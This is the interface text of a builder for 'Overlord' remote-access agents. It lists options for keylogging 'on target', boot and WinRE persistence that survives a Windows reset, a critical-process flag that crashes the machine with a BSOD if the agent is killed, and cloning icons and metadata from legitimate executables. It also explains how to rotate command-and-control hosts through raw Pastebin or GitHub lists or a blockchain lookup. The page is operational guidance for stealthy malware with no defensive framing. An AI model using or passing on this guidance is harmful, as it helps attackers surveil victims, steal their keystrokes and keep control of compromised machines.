Client Builder

Build customized Overlord client agents

Build Configuration

Server URL

Just enter your domain or IP:PORT — no wss://, https://, or any other prefix.

Use raw HTTPS server list (fetches multiple wss:// endpoints)

Use Solana memo lookup (resolve server from blockchain)

Output Filename

Optional: Custom name prefix for output binaries (letters, numbers, . _ - only)

Initial Client Tag

Optional: new clients from this build get this dashboard tag on first connect.

Mutex (Single-Instance Key)

Optional: set a fixed key or leave empty to auto-generate

Disable mutex (allow multiple instances)

Keylogger Captures keystrokes with window titles on target

WebRTC Compile Pion into the agent for WebRTC streaming (P2P + relayed). Adds ~6 MB to the binary; leave off if not needed.

Ask for WebRTC firewall access on launch Windows-only. Starts a one-time firewall permission probe as soon as the agent launches instead of waiting for the first WebRTC stream.

Include NVIDIA NVENC Native NVIDIA H.264 and HEVC acceleration for Windows CGO builds

Include AMD AMF Native AMD H.264 acceleration for Windows CGO builds

Include Intel Quick Sync Native Intel oneVPL H.264 acceleration for Windows CGO builds

WinRE Persistence Compile WinRE persistence support into the agent (Windows only). Allows planting the agent into C:\Recovery\OEM\ to survive a Windows push reset. Not included in macOS/Linux builds regardless of this setting.

Fetch Real Public IP Agent queries api.ipify.org at connect time and reports the result as its IP. Bypasses NAT/proxy detection on the server side. Generates one outbound HTTPS request to a third party.

Enable Persistence Agent will start automatically with system boot

Require Administrator (UAC) Embeds a manifest requesting UAC elevation on launch

Critical Process If running as admin, marks the process as critical — killing it without disconnect/uninstall triggers a BSOD

Clone Metadata from File Copies metadata & icon from an existing PE

Choose .exe / .dll file

PE / Assembly Metadata

Custom Icon .ico, max 1MB

Choose .ico file

Output Type Windows file extension

Build Output

Ready to build. Select platforms and click "Start Build".

Raw HTTPS Server List

Instead of baking a single server address into the agent, point it at a plain-text file you host somewhere. The agent fetches that file every time it starts, parses the lines, and uses the URLs inside as its actual C2 endpoints.

This lets you rotate, retire, or add C2 hosts without rebuilding and redeploying agents — just edit the file.

File format

One server per line
Bare domain (example.com:5173) or full wss:// URL
Lines starting with # are comments
Blank lines are ignored
Must contain at least one valid line, otherwise the agent gives up

# Primary
c2-us-east.example.com:5173

# Backups
wss://c2-eu.example.com:5173
1.2.3.4:5173

The URL must serve raw text

The agent does a plain HTTP GET and reads the response body line by line. If the URL returns an HTML page (the GitHub web view, the Pastebin web view, a Notion page, etc.) the agent will try to parse the HTML as server URLs and fail.

Good sources:

GitHub: use the raw.githubusercontent.com/… URL, not the github.com/…/blob/… page
Gist: click Raw, copy that URL
Pastebin: pastebin.com/raw/<id>, not pastebin.com/<id>
S3 / R2 / any object storage serving the file as text/plain
Any web server returning the raw file body

Use HTTPS

Use an https:// URL so the list itself can't be tampered with in transit. http:// is accepted but anyone on the network path can rewrite the response and redirect your agents.